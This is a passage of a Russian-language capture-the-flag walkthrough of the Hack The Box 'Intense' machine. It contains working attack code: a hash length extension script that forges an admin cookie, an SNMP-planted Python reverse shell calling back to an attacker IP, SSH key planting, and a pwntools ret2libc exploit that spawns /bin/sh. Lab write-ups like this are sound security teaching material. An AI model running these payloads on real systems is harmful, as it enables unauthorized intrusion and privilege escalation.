href=\"https:\/\/ru.wikipedia.org\/wiki\/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D1%83%D0%B4%D0%BB%D0%B8%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5%D0%BC_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D1%8F\" rel=\"nofollow\">\u0430\u0442\u0430\u043a\u0443 HLE<\/a>.<\/p>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043a\u043e\u0434\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 hashpumpy.<\/p>\n<pre><code class=\"python\">import hashpumpy import binascii import requests from base64 import *  url = &quot;http:\/\/intence.htb\/admin&quot; new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;' old_cookie = &quot;dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s=&quot;  data_cookie = b64decode(old_cookie.split('.')[0]) sign_cookie = b64decode(old_cookie.split('.')[1])  for offset in range(1,64):     print(&quot;Find offset: &quot; + str(offset), end='\\r')     (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)     new_cookie = b64encode(new_data) + b&quot;.&quot; +  b64encode(binascii.unhexlify(new_sign))     r = requests.get(url, cookies = { &quot;auth&quot; : new_cookie.decode('utf-8')})     if r.status_code == 200:         print(&quot;Offset found: &quot; + str(offset))         print(&quot;Admin cookie: &quot; + new_cookie.decode('utf-8'))         break<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/62\/qg\/am\/62qgamayktzcimit4ccd7yqlnv0.png\"><\/p>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u0443\u043a\u0438 \u0430\u0434\u043c\u0438\u043d\u0430, \u0432\u0441\u0442\u0430\u0432\u0438\u043c \u0438\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/a0\/xb\/3m\/a0xb3mihpkcgj0px_-s0eocby1u.png\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0443 \u043d\u0430\u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.<\/p>\n<h2>USER<\/h2>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043b\u0438 \u043c\u044b \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/jy\/wb\/yz\/jywbyzdovzcpzrnwgbh1y33lfk0.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/y0\/qz\/0f\/y0qz0ftxjbexs0ag5fnl3smw6c0.png\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e. \u0418\u0437 \u0444\u0430\u0439\u043b\u0430 \/etc\/passwd \u043e\u0442\u043c\u0435\u0442\u0438\u043c \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f user \u0438 SNMP.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fw\/sb\/tj\/fwsbtjuzddjembhk6w6sjddrcrs.png\"><\/p>\n<p>  \u0418 \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/go\/9x\/3u\/go9x3ubcs2cnce1zj4pt1lxgmzq.png\"><\/p>\n<h2>SNMP to Reverse shell<\/h2>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 SNMP. \u0418\u0437 \u043d\u0435\u0433\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 (rwcommunity).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pa\/p3\/ah\/pap3ahw3lk3h4rytzy3hhjtsxvm.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u044c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u043d\u0430 \u043f\u0438\u0442\u043e\u043d\u0435. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u044f:<\/p>\n<pre><code class=\"plaintext\">nsExtendStatus.&quot;command&quot; nsExtendCommand.&quot;R4command&quot; nsExtendArgs.&quot;R4command&quot;<\/code><\/pre>\n<p>  \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c snmp-mibs-downloader.<\/p>\n<pre><code class=\"bash\">apt install snmp-mibs-downloader<\/code><\/pre>\n<p>  \u0418 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0437\u0430\u043f\u0438\u0441\u044c.<\/p>\n<pre><code class=\"bash\">snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus.&quot;R4command&quot;' = createAndGo 'nsExtendCommand.&quot;R4command&quot;' = \/usr\/bin\/python3 'nsExtendArgs.&quot;R4command&quot;' = '-c &quot;import sys,socket,os,pty;s=socket.socket();s.connect((\\&quot;10.10.14.112\\&quot;,4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\&quot;\/bin\/sh\\&quot;)&quot;'<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wt\/hs\/au\/wthsau-jsqb5up-szeaqi8ticbu.png\"><\/p>\n<p>  \u0414\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c OID \u043e\u0431\u044a\u0435\u043a\u0442\u0430. \u0415\u0441\u0442\u044c <a href=\"http:\/\/oidref.com\" rel=\"nofollow\">\u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0441\u0430\u0439\u0442<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0447\u044c. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/i0\/oo\/ig\/i0ooigyqgidvyl6pzuu0tgtofba.png\"><\/p>\n<p>  \u0422\u0430\u043a OID \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u2014 1.3.6.1.4.1.8072.1.3.2. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0431\u044d\u043a\u043a\u043e\u043d\u043d\u0435\u043a\u0442. <\/p>\n<pre><code class=\"bash\">snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ya\/az\/qf\/yaazqf8pwvpnejvlu0tox-y9xcc.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ix\/rz\/kq\/ixrzkqj27ckc3dvnn3y7kkjqcbg.png\"><\/p>\n<h2>ROOT<\/h2>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 bash \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u044e\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/zf\/hf\/ur\/zfhfurswpmiczcfsivtv96tqc30.png\"><\/p>\n<p>  \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e netcat \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/mb\/6y\/gp\/mb6ygpnru3tgmyf_tngunhca1a4.png\"><\/p>\n<p>  \u0418\u0437 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0443\u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442 5001 \u043f\u043e\u0440\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xh\/sa\/ds\/xhsadsavtqfow6bxxtwkypljl4y.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/i9\/m1\/vn\/i9m1vnjmxu6187apfheytkmdo18.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/g0\/an\/zo\/g0anzomfomoobjkb4exh-dk5s5o.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043d\u0430\u0448\u043b\u0438 \u0432\u0435\u043a\u0442\u043e\u0440 LPE. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 5001 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c SNMP \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u0431\u044b\u043b\u043e \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \/etc\/passwd) \u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u0442 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SSH. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u043a\u043b\u044e\u0447 \u0438 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u0432 authorized_keys \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/zs\/1h\/bz\/zs1hbz6hsrnd7ln-8kc2u35mi1m.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_h\/za\/jf\/_hzajf88lcrmigzhwpyt6pfpgig.png\"><\/p>\n<p>  \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u043e\u0440\u0442.<\/p>\n<pre><code class=\"bash\">ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/3l\/n-\/pu\/3ln-pu1xdpjl_4n2njgt_rscj_o.png\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e. \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c \u043a \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/p>\n<h2>\u0410\u0442\u0430\u043a\u0430 Ret2Libc<\/h2>\n<p>  \u0423\u0437\u043d\u0430\u0435\u043c, \u043a\u0430\u043a\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e GDB, \u0430 \u043f\u043e\u0442\u043e\u043c \u0441\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0435\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u043d\u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ue\/-x\/6t\/ue-x6t_vevytzbvrdtutihqjnj8.png\"><\/p>\n<p>  \u0418 \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_1\/pj\/va\/_1pjvajcapytbjx97j1ezsnnvec.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0438 \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u0430\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044f, \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0430 \u0438 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0441\u0442\u0435\u043a. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430.<\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 from pwn import *  HOST = '127.0.0.1' PORT = 5001 context(os='linux', arch='amd64') binary = ELF('.\/note', checksec=False) libc = ELF('.\/libc-2.27.so', checksec=False) r = remote(HOST, PORT)  r.interactive()<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bd\/9y\/nz\/bd9ynz5zvsfuqgbzuof6qsxffjo.png\"><\/p>\n<p>  \u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0418\u0437 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c, \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u043c\u0435\u0442\u043a\u0438.<\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438, \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u0438\u0441\u043b\u0430\u0442\u044c 1 \u0431\u0430\u0439\u0442 = 0x01, \u0438 \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e 1 \u0431\u0430\u0439\u0442 \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0438 \u0441\u0430\u043c\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/n8\/o6\/5j\/n8o65jqxxzezd5pa1ie7cvahqxu.png\"><\/p>\n<pre><code class=\"python\">def W(s):     r.send(p8(1))     r.send(p8(len(s)))     r.send(s)<\/code><\/pre>\n<p>  \u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 0x02, \u0434\u0432\u0430 \u0431\u0430\u0439\u0442\u0430 \u2014 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0438 \u043e\u0434\u0438\u043d \u0431\u0430\u0439\u0442 \u0440\u0430\u0437\u043c\u0435\u0440.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/dk\/za\/w1\/dkzaw1mrp7lelwcu7-u-x2lw6eg.png\"><\/p>\n<pre><code class=\"python\">def CPY(offset, size):     r.send(p8(2))     r.send(p16(offset))     r.send(p8(size))<\/code><\/pre>\n<p>  \u0418 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0430\u0439\u0442 0x03.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ou\/fh\/7j\/oufh7jfvwffr7cbxgnh2dt0d-6s.png\"><\/p>\n<pre><code class=\"python\">def R(size):     r.send(p8(3))     return r.recv(size)<\/code><\/pre>\n<p>  \u0410 \u0440\u0430\u0437\u043c\u0435\u0440 \u0431\u0443\u0444\u0435\u0440\u0430 \u0440\u0430\u0432\u0435\u043d 1024.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/dk\/nw\/ex\/dknwexhioqnbezfvgbb_0pknd14.png\"><\/p>\n<p>  \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0435\u0440, \u043d\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 RBP \u0438 RIP. \u0418\u0445 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u0437\u043d\u0430\u0442\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 CPY, \u0443\u0437\u043d\u0430\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e 1024. \u041d\u043e \u0438\u0445 \u0441\u043f\u0435\u0440\u0432\u0430 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043d\u044f\u0442\u044c. \u0422\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e 255 \u0431\u0430\u0439\u0442\u043e\u0432 \u0437\u0430 \u043e\u0434\u0438\u043d \u0440\u0430\u0437, \u0442\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e 4 \u0440\u0430\u0437\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e 255 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043f\u044f\u0442\u044b\u0439 \u0440\u0430\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c 4 \u0431\u0430\u0439\u0442\u0430. \u0410 \u043f\u043e\u0442\u043e\u043c \u0443\u0436\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c 1056 \u0431\u0430\u0439\u0442 \u0438 \u043e\u0442\u0434\u0435\u043b\u0438\u0442\u044c 32 \u0431\u0430\u0439\u0442 \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430.<\/p>\n<pre><code class=\"python\">[  W(&quot;A&quot;*255) for _ in range(4) ] W(&quot;A&quot;*4) CPY(1024, 32) post_buf = R(1056)[1024:] _CANARY = u64(post_buf[8:16]) _RBP = u64(post_buf[16:24]) _RIP = u64(post_buf[24:32]) print(&quot;CANARY: &quot; + hex(_CANARY)) print(&quot;RBP: &quot; + hex(_RBP)) print(&quot;RIP: &quot; + hex(_RIP))<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tz\/da\/n6\/tzdan6mgjddpe1dnucddofvauak.png\"><\/p>\n<p>  \u0417\u043d\u0430\u044f RIP \u0438 \u0437\u043d\u0430\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/7w\/ng\/u9\/7wngu9tsv1xcbhjfu_wutmcxbe0.png\"><\/p>\n<pre><code class=\"python\">binary.address = _RIP - 0xf54<\/code><\/pre>\n<p>  \u0418 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u043c ROP, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 write (\u043f\u0440\u043e ROP \u0443\u0436\u0435 \u0434\u043e\u0441\u043a\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438).<\/p>\n<pre><code class=\"python\">rop_binary = ROP(binary) rop_binary.write(4, binary.got['write']) r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72  W(payload) [  W(&quot;A&quot;*255) for _ in range(3) ] W(&quot;A&quot;*187) CPY(0, len(payload)) R(1024 + len(payload)) libc_write = u64(r.recv(8)) print(&quot;Leak: &quot; + hex(libc_write))<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/0g\/8r\/ae\/0g8rae6y6fpbsceef5su4dyvd4a.png\"><\/p>\n<p>  \u0418 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c \u0430\u0434\u0440\u0435\u0441, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 LIBC.<\/p>\n<pre><code class=\"python\">libc.address = libc_write -libc.symbols['write'] print(&quot;LIBC address: &quot;+ hex(libc.address))<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/p6\/-q\/zx\/p6-qzx_xuu4acnfkeyskfzswiac.png\"><\/p>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043f\u0440\u0430\u0432\u0434\u0443. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0448\u0435\u043b\u043b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u043e\u0442 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441 ROP. \u041a\u0430\u043a \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u0431\u044b\u0432\u0430\u0435\u0442, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u043c \u043f\u043e\u0442\u043e\u043a\u0438 \u0432\u0432\u043e\u0434\u0430\/\u0432\u044b\u0432\u043e\u0434\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c \/bin\/sh \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e write.<\/p>\n<pre><code class=\"python\">libc_rop = ROP(libc) libc_rop.dup2(4, 0) libc_rop.dup2(4, 1) libc_rop.execve(next(libc.search(b&quot;\/bin\/sh\\x00&quot;)), 0, 0)  r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152  W(payload) [  W(&quot;A&quot;*255) for _ in range(3) ] W(&quot;A&quot;*107) CPY(0, len(payload)) R(1024 + len(payload))<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434, \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0440\u0438\u0432\u043e\u0436\u0443 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/1g\/qw\/l1\/1gqwl1ebl_uyrtscwzpog9ukvha.png\"><\/p>\n<p>  <img decoding=\"async\" 